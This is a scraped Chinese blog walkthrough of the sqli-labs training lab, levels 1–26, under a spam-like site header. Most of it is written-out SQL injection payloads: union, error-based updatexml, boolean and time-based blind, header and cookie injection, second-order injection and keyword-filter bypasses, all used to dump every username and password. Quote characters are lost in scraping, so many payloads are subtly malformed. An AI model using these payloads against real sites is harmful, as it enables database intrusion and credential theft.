当前位置: 首页 > news >正文

自己做网站步骤四川成都最新消息

自己做网站步骤,四川成都最新消息,义乌企业网站设计,下载软件的app大全1-4关 1.第一关 我们输入?id1 看回显#xff0c;通过回显来判断是否存在注入#xff0c;以及用什么方式进行注入#xff0c;直接上图 可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显#xff0c;所以我们可以使用联合查询。联合查询原理简单说一下1 看回显通过回显来判断是否存在注入以及用什么方式进行注入直接上图 可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显所以我们可以使用联合查询。联合查询原理简单说一下联合查询就是两个sql语句一起查询两张表具有相同的列数且字段名是一样的。 那我们直接上命令 powershell id1 order by 3 -- ?id1 order by 4 -- 发现没有回显说明有3个字段 ?id-1 union select 1,2,3 -- 判断显错位可以得出显错位是2,3 利用2,3进行注入 ?id-1 union select 1,database(),version() -- 可以得出数据库的名字和版本号 ?id-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schemadatabase() -- 得到库中的表名 ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()-- 得到表中的字段,利用表中的字段得到我们的想要的数据 ?id-1 union select 1,2,group_concat(username,0x7e,password) from users -- 得到我们想要的username 和 password 0x7e是编码的东西解码之后是~是为了让我们看回显的时候跟好看那我们接着直接上图 在这里还是解释一下因为这里报出一个没有4所以我们判断有3个字段 那么我就就要利用字段来判断回显了 接着去判断数据库名称和版本号 这里我们得到了库名是security那么我就利用库名来判断表名 发现有一个users表我们可以利用我们利用user表去获取其中的字段发现字段以后我们就可以去得到这个表中的用户名和密码了 2.第二关 这一关同理只是闭合点没有’闭合 所以直接执行联合查询语句就好了 我们直接上命令 ?id1 and 11 ?id1 order by 3 ?id1 order by 4 发现没有回显说明有3个字段 ?id-1 union select 1,2,3 判断显错位可以得出显错位是2,3 利用2,3进行注入 ?id-1 union select 1,database(),version() 可以得出数据库的名字和版本号 ?id-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schemadatabase() 得到库中的所有表 ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers 得到表中的字段,利用表中的字段得到我们的想要的数据 ?id-1 union select 1,2,group_concat(username,0x7e,password) from users 得到我们想要的username 和 password 0x7e是编码的东西解码之后是~是为了让我们看回显的时候跟好看额在靶场环境中的话数据库名 表名字段名都不变所以我们直接去查询一下账号密码就好 同样可以得到结果 3.第三关 在这里我们输入 --之后还是报错说明这里不用’闭合 我们尝试着用) 我们发现用)可以完美的闭合从而可以进行注入所以我们直接上命令 ?id1) and 11 -- ?id1) order by 3 -- ?id1) order by 4 -- 发现没有回显说明有3个字段 ?id-1) union select 1,2,3 -- 判断显错位可以得出显错位是2,3 利用2,3进行注入 ?id-1) union select 1,database(),version() -- 可以得出数据库的名字和版本号 ?id-1) union select 1,2,group_concat(table_name)from information_schema.tables where table_schemadatabase() -- 得到库中的所有表 ?id-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers -- 得到表中的字段,利用表中的字段得到我们的想要的数据?id-1) union select 1,2,group_concat(username,0x7e,password) from users --同理我们还是直接测试一下账号密码 所以我们的结果是正确的 4.第四关 这里我们发现虽然使用–不会报错但是使用order by4 也有回显所以这里我们应该是闭合点没找对我们尝试着使用) 发现使用)可以所以我们找到了闭合点是) 直接上命令: ?id1) and 11 -- ?id1) order by 3 -- ?id1) order by 4 -- 发现没有回显说明有3个字段 ?id-1) union select 1,2,3 -- 判断显错位可以得出显错位是2,3 利用2,3进行注入 ?id-1) union select 1,database(),version() -- 可以得出数据库的名字和版本号 ?id-1) union select 1,2,group_concat(table_name)from information_schema.tables where table_schemadatabase() -- 得到库中的所有表 ?id-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers -- 得到表中的字段,利用表中的字段得到我们的想要的数据 ?id-1 ) union select 1,2,group_concat(username,0x7e,password) from users --同理直接测试账号密码 5-8关 1.第五关 看到这里就知道了有回显但是不明确可能有注入点可以找但是得用盲注或者使用显错注入 那么我们来找闭合点 我们知道了需要用’ --来进行闭合注入然后我们选择显错注入显错注入相对盲注来说更加简单我们可以先去尝试着用显错 直接上命令 ?id1 or (updatexml(1,concat(0x5c,database(),0x5c),1)) -- # 使用显错注入获得数据库的名字 ?id1 or (updatexml(1,concat(0x5c,version(),0x5c),1)) -- # 使用显错注入获取到版本号 ?id1 or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x5c),1)) -- # 使用显错注入获取到表名 ?id1 or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c),1)) -- #使用显错注入获取到字段名 ?id1 or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) -- 使用显错注入获取到username具体值 ?id1 or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) -- # 使用显错注入获取到password的具体值 ?id1 or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) -- # 使用显错注入获取到username和password的所有值接着我们来上图 我们发现一个user表对我们有用我们可以尝试去找一下表中的具体字段 我们发现存在用户名和密码我们去尝试着试一下爆出用户和密码的值 在这里我们只发现了一个用户名和密码而我们想要所有的用户名和密码所以我们直接上bp 设置1个payload即可 我们先给1-20区尝试 在这里我们添加显示位方便我们查找 我们成功的找到了所有的用户和密码 2.第六关 这里就存在一个问题使用’不能进行闭合 这里我们就找到了闭合点所以我们可以使用显错注入来获取我们想要的到的内容了 上命令 ?id1 or (updatexml(1,concat(0x5c,database(),0x5c),1)) -- # 使用显错注入获得数据库的名字 ?id1 or (updatexml(1,concat(0x5c,version(),0x5c),1)) -- # 使用显错注入获取到版本号 ?id1 or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x5c),1)) -- # 使用显错注入获取到表名 ?id1 or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c),1)) -- # 使用显错注入获取到字段名 ?id1 or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) -- # 使用显错注入获取到username具体值 ?id1 or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) -- # 使用显错注入获取到password的具体值 ?id1 or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) -- # 使用显错注入获取到username和password的所有值同理我们这里直接去测试账号密码就好了 3.第七关 在这里我们先去寻找注入点 发现使用’)) --可以 然后我们就使用显错注入 ?id1)) or (updatexml(1,concat(0x5c,database(),0x5c),1)) -- # 使用显错注入获得数据库的名字 ?id1)) or (updatexml(1,concat(0x5c,version(),0x5c),1)) -- # 使用显错注入获取到版本号 ?id1)) or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x5c),1)) -- #使用显错注入获取到表名 ?id1)) or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c),1)) -- # 使用显错注入获取到字段名 ?id1)) or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) -- # 使用显错注入获取到username具体值 ?id1)) or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) -- # 使用显错注入获取到password的具体值 ?id1)) or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) -- # 使用显错注入获取到username和password的所有值同理我们直接测账户密码 bp同理直接上图 4.第八关 发现一个问题闭合以后后面没信息了 然而使用–将后面注释以后又出来回显所以这里存在注入我们可以尝试着显错注入 发现一个问题不会报错所以这里不存在显错注入那没得选只能盲注了我们选择布尔型的盲注因为这里有回显 那我们直接上命令 ?id1 and length(database())8 -- # 使用这个来爆数据库的长度为多少 ?id1 and substr(database(),1,1)s -- # 使用这个来爆数据库的名字 ?id1and (select count(table_name)from information_schema.tables where table_schemadatabase())4 #爆出表的个数 ?id1 and length((select table_name from information_schema.tables where table_schemadatabase()limit 0,1))6 -- # 爆第一个表的长度是6 ?id1 and substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)e - # 爆出第一个表的第一个字母是e 从而爆出表的名字 ?id1 and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers)3 -- #判断表中有3个字段 ?id1 and length((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1))2 -- # 判断第一个字段的长度是否为2 ?id1 and substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1),1,1)i -- # 判断第一个字段的第一个是否为i ?id1 and substr((select username from users limit 0,1),1,1)D -- # 判断username中的数据一个是否为D ?id1 and substr((select password from users limit 0,1),1,1)D -- # 判断password中的数据第一个是否为D 这里尝试以后发现数据库长度是8也可以直接用bp去测然后我们开始测数据库的名称上bp 这里payload介绍一下因为有substr命令所以选择1这个payload又因为是测试数据库所以选择s 因为数据库的长度我们得出8 所以这里我们给到9 数据库名一般为字母所以我们给到a-z 所以最后结果我们成功的爆出了数据库的名称为security 接着我们来去找他的库中的表的个数 我们得到它的表的个数是4个那么我就可用bp测试它的每个表的长度了 payload1是因为要爆表payload2是长度 这个是因为有4个表所以给到3 而长度我们直接给到10 我们得出结论第一个表长度是6第二个是8第三个是7第四个是5最长的是8我们需要特别注意一下因为一会要用 接着我们来爆每一个表的具体内容 第一个是表的个数 第二个是具体的表的长度 第三个是具体的值 同理有4个表我们给到3 同理表长度最长的是8所以我们给到9 也是同理我们爆表的名字使用a-z 我们得出结果:表名分别为:emails、referers、uagents、users 我们利用users表去获取字段先获取字段的个数 通过测试我们发现有3个字段 那我们就可以去爆每一个字段的长度了 这里同理payload1 是字段的个数 payload是长度 因为我们得到字段的个数是3所以我们给到3 字段的长度我们给到10 我们得到结果第一个字段长度为2第二个字段长度为8第三个字段长度为8 最长的是8记住一会要用 那我们就可以去爆字段的具体内容了 同理 这里都是同理我们直接上bp结果图 结果已经出来了:内容分别为 id、username、password 我们可以利用username和password获取到数据库中的具体字段的数据 因为我们不知道里面有多少个数据所以我们先给20个尝试一下所以第一个给到20 这里我们说一下第三个因为要爆用户名用户名可能存在一些特殊的符号所以我们的第三个要加一些特殊符号以及数字 到此我们得出它的用户名分别为dumb angelina dummy secure stupid superman batman admin admin1 admin2 admin3 dhakkan admin4 同理我们得到密码 我们得到的密码是:dumb、i-kill-you、password、crappy、stupidity、genious、mob!le admin admin1 admin2 admin3 dumbo admin4 9-10关 1.第九关 我们发现一个问题就是不管怎么尝试找闭合点都找不到页面总是不变这时候就想到了时间延时注入 我们加入sleep函数试一下 我们发现将1闭合以后延时输出就可以 呢我们就直接延时注入就好了直接上命令 ?id1and if(length((select database()))8,sleep(5),1)-- # 用时间延时注入判断数据库长度 ?id1and if(substr((select database()),1,1)s,sleep(5),1)-- # 使用时间延时判断数据库的第一个字母是不是s ?id1and if(ascii(substr((select database()),1,1))115,sleep(5),1)-- # 使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。 ?id1 and if((select count(table_name) from information_schema.tables where table_schemadatabase())4,sleep(5),1) -- # 使用时间延时的注入来判断有4个表 ?id1 and if (length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))6,sleep(4),1) -- # 使用时间延时注入来判断第一个表的长度是6 ?id1 and if(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)e,sleep(4),1) -- # 使用时间延时注入来判断第一个表的名字 ?id1 and if((select count(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers)3,sleep(5),1) -- # 使用延时注入来判断第一个表中的字段有3个 ?id1 and if(length((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1))2,sleep(4),1) -- # 使用延时注入来判断表中的字段的长度 ?id1 and if(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1),1,1)i,sleep(4),1) -- # 使用延时注入来判断第个表中的第一个字段是i ?id1 and if(substr((select username from users limit 0,1),1,1)D,sleep(5),1) -- # 使用延时注入来判断username字段中的数据是否为D ?id1 and if(substr((select password from users limit 0,1),1,1)D,sleep(5),1) -- # 使用延时注入来判断password字段中的数据是否为我们判断数据库的长度是8接着我们就可以去判断数据库的内容了 还是与前面同理设置好paylad直接攻击我们直接上bp图 我们得到数据库的名字为security 同样的思路我们去找表的个数、长度、内容、以及字段的个数、长度、内容、以及具体的数据思路跟上面的思路是一样的这里我们直接给到一个最后的数据图 密码的思路是一样的这里就不上图了结果也肯定是一样的 2.第十关 同样的道理使用时间延时找到闭合点是后面思路完全一样我们直接上命令 ?id1and if(length((select database()))8,sleep(5),1)-- # 用时间延时注入判断数据库长度 ?id1and if(substr((select database()),1,1)s,sleep(5),1)-- # 使用时间延时判断数据库的第一个字母是不是s ?id1and if(ascii(substr((select database()),1,1))115,sleep(5),1)-- # 使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。 ?id1 and if((select count(table_name) from information_schema.tables where table_schemadatabase())4,sleep(5),1) -- # 使用时间延时的注入来判断有4个表 ?id1 and if (length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))6,sleep(4),1) -- # 使用时间延时注入来判断第一个表的长度是6 ?id1 and if(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)e,sleep(4),1) -- # 使用时间延时注入来判断第一个表的名字 ?id1 and if((select count(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers)3,sleep(5),1) -- # 使用延时注入来判断第一个表中的字段有3个 ?id1 and if(length((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1))2,sleep(4),1) -- # 使用延时注入来判断表中的字段的长度 ?id1 and if(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1),1,1)i,sleep(4),1) -- # 使用延时注入来判断第个表中的第一个字段是i ?id1 and if(substr((select username from users limit 0,1),1,1)D,sleep(5),1) -- # 使用延时注入来判断username字段中的数据是否为D ?id1 and if(substr((select password from users limit 0,1),1,1)D,sleep(5),1) -- # 使用延时注入来判断password字段中的数据是否为D11-14关 1.第十一关 这里我们发现是post请求了而不是get请求 看到我们就已经知道了存在注入漏洞且可以用联合注入 接着来找注入点就好了 我们可以用bp将这个请求拦截下来然后在bp里面去操作 我们发现在请求体中将username后面使用’闭合以后使用or11形成永真而#又将后面的注释掉出现了结果所以这里可以注入 所以这里我们可以直接使用联合注入 直接上命令 order by 3 # 发现没有回显说明有2个字段 union select 1,2 # 判断显错位可以得出显错位是1,2union select database(),version() # 可以得出数据库的名字和版本号union select 1,group_concat(table_name)from information_schema.tables where table_schemadatabase() # 得到库中的所有表 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers and table_schmemadatabase()# 得到表中的字段,利用表中的字段得到我们的想要的数据 union select 1,group_concat(username,0x7e,password) from users # 得到我们想要的username 和 password 0x7e是编码的东西解码之后是~是为了让我们看回显的时候跟好看在这里我们可以得到它有2个字段 我们发现有一个users表我们可以去尝试 这里有一个usernam和password我们可以利用 我们成功的把所有的全部爆出来了 2.第十二关 还是post请求继续bp 同样继续找注入点 在这里尝试之后发现存在双引号和括号 那么我们成功的找到了注入闭合点 接着我们直接上命令 )order by 3 # 发现没有回显说明有2个字段 )union select 1,2 # 判断显错位可以得出显错位是1,2 )union select database(),version() # 可以得出数据库的名字和版本号 )union select 1,group_concat(table_name)from information_schema.tables where table_schemadatabase() # 得到库中的所有表 )union select 1,group_concat(column_name) from information_schema.columns where table_nameusers and table_schmemadatabase()# 得到表中的字段,利用表中的字段得到我们的想要的数据) union select 1,group_concat(username,0x7e,password) from users # 得到我们想要的username 和 password 0x7e是编码的东西解码之后是~是为了让我们看回显的时候更好看之后就跟上一个同理了这里我们还是直接出一个最后结果 这关就成功了 3.第十三关 同理我们去找闭合点 这里报错了说明存在注入 使用万能密码登陆之后找到了闭合点 我们开始尝试着注入 在这里我们判断出它有2个字段接着来判断显错位 这里我们发现一个问题它的显错位没有出来反而登陆进去了那就感觉这里不存在联合注入了这里得进行盲注或者显错注入我们还是优先选择显错注入 我们直接上命令 ) or (updatexml(1,concat(0x5c,database(),0x5c),1))# 使用显错注入获得数据库的名字 ) or (updatexml(1,concat(0x5c,version(),0x5c),1)) # 使用显错注入获取到版本号 ) or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x5c),1)) # 使用显错注入获取到表名 ) or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c),1)) # 使用显错注入获取到字段名 ) or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) # 使用显错注入获取到username具体值 ) or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) #使用显错注入获取到password的具体值 ) or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) # 使用显错注入获取到username和password的所有值得出数据库的名字为security 有一个users表我们可以利用 有3个字段 我们要知道username 和password 这里我们出来一个然后直接用攻击就好了 这里我们成功的将所有的账户名和密码解决 4.第十四关 同理去找注入点 发现使用登陆成功这里肯定是存在注入点了 发现可以使用显错注入 直接给最后结果因为给13是一样的 与13一样的只是闭合使用闭合就好了 15-16关 1.第十五关 这里使用万能密码直接就能进入 尝试着去找字段的时候没有回显这里应该是要使用盲注了 很明显这里存在延时直接利用延时注入 这里我们直接先上命令 or if(length((select database()))8,sleep(1),1)# # 用时间延时注入判断数据库长度 or if(substr((select database()),1,1)s,sleep(1),1) # # 使用时间延时判断数据库的第一个字母是不是s or if((select count(table_name) from information_schema.tables where table_schemadatabase())4,sleep(1),1) # # 使用时间延时的注入来判断有4个表 or if (length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))6,sleep(1),1) # # 使用时间延时注入来判断第一个表的长度是6or if(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)e,sleep(1),1) # # 使用时间延时注入来判断第一个表的名字or if((select count(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers)3,sleep(1),1) # 使用延时注入来判断第一个表中的字段有3个or if(length((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1))2,sleep(1),1) # 使用延时注入来判断表中的字段的长度or if(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1),1,1)i,sleep(1),1) # 使用延时注入来判断第个表中的第一个字段是ior if(substr((select username from users limit 0,1),1,1)D,sleep(1),1) -- # 使用延时注入来判断username字段中的数据是否为Dor if(substr((select password from users limit 0,1),1,1)D,sleep(1),1) -- # 使用延时注入来判断password字段中的数据是否为D判断库的长度 得知库的长度是8 判断库的名字 得到库名为security 这里我们发现表的个数为4个我们要开始尝试着去找每一个表的长度 第一个payload我们给3因为有4个表 第二个payload我们给10 我们得出结果 表的长度分别为6 8 7 5 接着我们来获取表的内容 同理还是这是payload 如图 介绍一下第一个是表的个数有4个所以我们给3 第二个是表的长度最长的是8所以我们给8第三个是表的内容我们给a-z 我们的得到了表的名字发现有一个users我们可以使用users去判断它的字段的个数 从这里我们可以得出它的字段的总数是3 然后我们来判断它的每一个字段的长度在这里我们发现字段长度分别为 2 8 8 我们来找字段的内容 payload介绍一下 因为有3个字段所以第一个payload给3 字段最长的是8所以第二个给8 第三个给a-z 在这里得到了username和password我们可以去找具体的数据原理是一样的最后的结果跟上面的账户密码是一样的。 2.第十六关 同样是找闭合点找到了闭合点找一下使用注入的方法 这里发现没有回显所以只能使用延时注入跟上面15关一样只是闭合点不一样 直接上命令 )or if(length((select database()))8,sleep(1),1)# 用时间延时注入判断数据库长度 )or if(substr((select database()),1,1)s,sleep(1),1) # 使用时间延时判断数据库的第一个字母是不是s )or if((select count(table_name) from information_schema.tables where table_schemadatabase())4,sleep(1),1) # 使用时间延时的注入来判断有4个表 )or if (length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))6,sleep(1),1) # 使用时间延时注入来判断第一个表的长度是6 )or if(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)e,sleep(1),1) # 使用时间延时注入来判断第一个表的名字 )or if((select count(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers)3,sleep(1),1) # 使用延时注入来判断第一个表中的字段有3个 )or if(length((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1))2,sleep(1),1) # 使用延时注入来判断表中的字段的长度 )or if(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1),1,1)i,sleep(1),1) # 使用延时注入来判断第个表中的第一个字段是i )or if(substr((select username from users limit 0,1),1,1)D,sleep(1),1) -- 使用延时注入来判断username字段中的数据是否为D )or if(substr((select password from users limit 0,1),1,1)D,sleep(1),1) -- 使用延时注入来判断password字段中的数据是否为D过程完全一样就是闭合点不一样所以这里不给图了照着15就好了 17关 发现多了一个密码重置 我们可以抓包去看 发现一个问题我们不管怎么去尝试都找不到注入点在username中找不到注入点就应该是在password中找 所以我们需要找一下username的名称 爆出账号以后尝试着从passwrod处进行注入找到闭合点以后尝试着注入 这里发现不能使用order by我们尝试着使用报错注入 直接上命令 or (updatexml(1,concat(0x5c,database(),0x5c),1)) # 使用显错注入获得数据库的名字 or (updatexml(1,concat(0x5c,version(),0x5c),1)) # 使用显错注入获取到版本号or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x5c),1)) # 使用显错注入获取到表名or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c),1)) #使用显错注入获取到字段名or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) # 使用显错注入获取到username具体值or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) # 使用显错注入获取到password的具体值or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) # 使用显错注入获取到username和password的所有值利用users表获获取表中的字段 获取username 和passwrod得到用户名和密码 18-20关 1.第十八关 登陆一下之后发现一个ua这里是我们登陆以后有一个回显是ua所以我们可以尝试着来ua注入 直接上命令 or (updatexml(1,concat(0x5c,database(),0x5c),1)) or 11 # 使用显错注入获得数据库的名字 or (updatexml(1,concat(0x5c,version(),0x5c),1)) or 11 # 使用显错注入获取到版本号or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x5c),1)) or 11 # 使用显错注入获取到表名or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c),1)) or 11 # 使用显错注入获取到字段名or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) or 11 # 使用显错注入获取到username具体值or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) or 11 # 使用显错注入获取到password的具体值or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) or 11 # 使用显错注入获取到username和password的所有值 利用users表获取我们想要得到的字段 然后得到用户名和密码 得到了所有的内容 2.第十九关 同理我们发现这里有一个youre referer is xxxx 所以这一关是我们登陆之后去尝试着利用referer去注入 所以我们抓包去看一下有没有注入点 看下面的回显信息我们找到了注入点 接着我们来尝试显错注入 上命令 or (updatexml(1,concat(0x5c,version(),0x5c),1)) and 11 # 使用显错注入获取到版本号or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x5c),1)) and 11 # 使用显错注入获取到表名or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c),1)) and 11 # 使用显错注入获取到字段名or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) and 11 # 使用显错注入获取到username具体值or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) and 11 # 使用显错注入获取到password的具体值or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) and 11 # 使用显错注入获取到username和password的所有值我们利用users表获取我们想要得到的内容然后我们获取username和password内容 3.第二十关 这里我们发现一个cookie值同样的道理我们登陆以后会提示有一个cookie值这里就可能是利用cookie值进行注入 我们利用这里注入找一下注入点 我们找到了注入点开始尝试注入 上命令 order by 3 #order by 4 # 发现没有回显说明有3个字段 union select 1,2,3 # 判断显错位可以得出显错位是2,3 利用2,3进行注入union select 1,database(),version() # 可以得出数据库的名字和版本号union select 1,2,group_concat(table_name)from information_schema.tables where table_schemadatabase() # 得到库中的所有表 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase() # 得到表中的字段,利用表中的字段得到我们的想要的数据union select 1,group_concat(username,0x22,password) from users # 得到用户名和密码成功的爆出数据 21-22关 1.第二十一关 同理登陆以后发现有cookie所以还是尝试着用cookie注入我们开始抓包 但是这里我们发现一个问题cookie后面的内容并非我们输入的东西 这里很明显是php代码对我们输入的东西进行了编码 不过不重要我们还是先去找闭合点 我们发现单引号编码为jw所以我们用这个去尝试一下 所以我们发现使用’)#就可以 使用admin’)编码以后就成功 所以接着我们直接上命令 admin) or (updatexml(1,concat(0x5c,database(),0x5c),1)) # 使用显错注入获得数据库的名字 admin) or (updatexml(1,concat(0x5c,version(),0x5c),1)) # 使用显错注入获取到版本号 admin) or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x5c),1)) # 使用显错注入获取到表名 admin)or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c),1)) # 使用显错注入获取到字段名 admin) or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) # 使用显错注入获取到username具体值 admin) or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1))# 使用显错注入获取到password的具体值 admin) or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1))# 使用显错注入获取到username和password的所有值2.第二十二关 同理还是编码我们找一下闭合点 闭合点是 # 直接上命令 admin or (updatexml(1,concat(0x5c,database(),0x5c),1))# 使用显错注入获得数据库的名字 admin or (updatexml(1,concat(0x5c,version(),0x5c),1)) # 使用显错注入获取到版本号 admin or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x5c),1))# 使用显错注入获取到表名 admin or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c),1)) # 使用显错注入获取到字段名 admin or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) # 使用显错注入获取到username具体值 admin or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1))# 使用显错注入获取到password的具体值 admin or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1))# 使用显错注入获取到username和password的所有值同理我们 直接去爆用户名和密码 23关 1.第二十三关 我们发现这里是get请求我们去找一下注入点 我们发现使用’闭合以后报错了应该就可以用’ 然后我们吧后面闭合 这里发现报错了这里可能是因为吧–这两个注释符号过滤了 这里我们使用or ‘1’1 将后面的引号闭合 这里我们就找到了注入点那么我们直接上命令 # 爆库 ?id union select 1,2,database() # 爆表 ?id union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() or 1 #爆列名 ?id union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers or 1 # 爆值 ?id union select 1,group_concat(username),group_concat(password) from users where 1 or 1 这里发现显错位是2,1那么我们接下来直接联合注入就好了 这里就同理了我们直接上最后一个用户和密码 24关 1.第二十四关 这一关我们发现让我们去注册一个用户所以我们有思路可以尝试者去进行二次注入 我们创建一个admin’#的用户 然后用这个用户登陆 登陆成功以后我们去修改这个用户密码 然后我们用这个admin登陆 这个原理是这样的我们创建了一个admin’#的用户去修改它的密码数据库会执行一个update命令 上命令 update users set password123 where usernameadmin#; # 这样的话数据库会将#注释掉默认以为修改admin的密码所以导致我们可以使用admin登陆数据库 25关 1.第二十五关 首先我们找到了注入点我们开始尝试着注入 我们发现一个问题输入or 和and 以后 会将其过滤所以导致我们的语句错误所以我们可以绕过一下 我们使用双写绕过就好了 例如or 写成 oorr 它将中间的or过滤之后还有另外一个or所以我们直接上命令 ?id1 aandnd 11 -- ?id1 oorrder by 3 -- ?id1 oorrder by 4 -- # 发现没有回显说明有3个字段 ?id-1 union select 1,2,3 -- # 判断显错位可以得出显错位是2,3 利用2,3进行注入 ?id-1 union select 1,database(),version() -- # 可以得出数据库的名字和版本号 ?id-1 union select 1,2,group_concat(table_name)from infoorrmation_schema.tables where table_schemadatabase() -- # 得到库中的所有表 ?id-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_nameusers -- # 得到表中的字段,利用表中的字段得到我们的想要的数据 ?id-1 union select 1,2,group_concat(username,0x7e,passwoorrd) from users -- # 得到我们想要的username 和 password 0x7e是编码的东西解码之后是~是为了让我们看回显的时候跟好看 ?id-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_nameusers anandd table_schemadatabase() --?id-1union select 1,2,group_concat(username,0x22,passwoorrd) from users -- 这里需要注意一下我们需要把informtaion写成infoorrmation 26关-27关 1.第二十六关 同理找注入点 这里我们输入正确的sql语句但是回显出现问题所以应该是将or and 以及–全部过滤掉了 所以在这里我们需要用逻辑运算符 和 || 表示 并且结尾需要使用’闭合 所以我们直接上命令 